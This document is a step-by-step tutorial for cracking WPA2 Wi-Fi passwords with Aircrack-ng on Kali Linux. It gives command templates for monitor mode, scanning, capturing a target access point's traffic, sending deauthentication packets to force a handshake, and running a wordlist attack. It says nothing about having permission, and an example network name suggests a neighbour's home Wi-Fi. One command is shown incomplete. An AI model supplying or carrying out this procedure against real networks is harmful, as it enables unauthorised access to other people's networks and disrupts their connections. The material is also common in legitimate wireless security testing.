

# Aircrack-ng password cracking for WPA2

## Equipment Needed:

1. Device to run Kali Linux
  - a. i.e. A virtual machine or a raspberry pi
2. Compatible Wireless Card for Aircrack-ng
  - a. [https://www.alfa.com.tw/service\\_1/all/1.htm](https://www.alfa.com.tw/service_1/all/1.htm)

## Preparing Wireless Card (Part 1):

1. Type command "airmon-ng"
2. Look under the Interface column for the device name
  - a. Should be wlan0 or wlan1 (depending on device being used).
3. Type command "airmon-ng check"
- a. This shows if any processes are running that can interfere with the wireless card.
4. Type command "airmon-ng check kill"
- a. Kills all the processes that could interfere with the wireless card.
5. Type command "airmon-ng start [interface name]"
- a. Puts the card in monitor mode so it can read packets from multiple access points.
6. Type command "airmon-ng"
- a. Look for a new name under the Interface column.
  - b. Should be original Interface name with "mon" added to the end.
  - c. You NEED to use the new interface name for the next steps.

## Finding Access Points for Attacking (Part 2):

1. Type command "airodump-ng [interface name]"
2. Look for the device BSSID you want to crack along with the channel it is on and copy the BSSID
  - a. The BSSID column is the MAC address of the access point and the ESSID column is the actual name of the access point.
  - b. An example of a BSSID is [00:19:3b:99:e2:80].
  - c. An example of an ESSID is [JimandSarahWifi].
  - d. Under the CH column should be the channel the access point is using, will range from 1-14. Make note of which channel the access point is using.
3. Type command "airodump-ng -w [filename] -c [channel number] -bssid [bssid of AP] [interface name]"
  - a. The -w [filename] is putting the data captured into files that are named what you want.
    - i. \*Note\* They will be default put in the root directory unless you specify the directory.
  - b. The -c [channel number] is the channel number the channel the access point is using.

- c. *The --bssid [bssid of AP] is specifying the bssid you wish to capture data from. It is best to copy and paste the bssid so no errors occur.*
- d. *The [interface name] is the wireless cards name.*

### Deauthentication (part 3):

Def - Used to initiate capture of WPA handshake

1. Type command “aireplay-ng -0 [number of deauthentication attempts] -a [bssid]

- a. *-0 is the type of attack aireplay-ng is using. [number of deauthentication attempts] is the number of times you will send a deauthentication packets to the access point. Usually people send around 10 packets.*

### Cracking WPA2 (part 4):

1. Type command “aircrack-ng -w [wordlist.txt] [filename.cap]

- a. *-w is looking for a word list that can be used to crack the WPA2*
  - i. *Multiple word list is available by default in kali linux under the /usr/share/wordlists.*
  - ii. *If you want to make your own word list, I recommend checking out **Crunch**, it makes word list easy and fast with custom setting on the word list to speed up password making.*
- b. *[filename.cap] means you are looking for the \*.cap file you named. There are multiple files created with airodump-ng but you only need the \*.cap file for cracking WPA2.*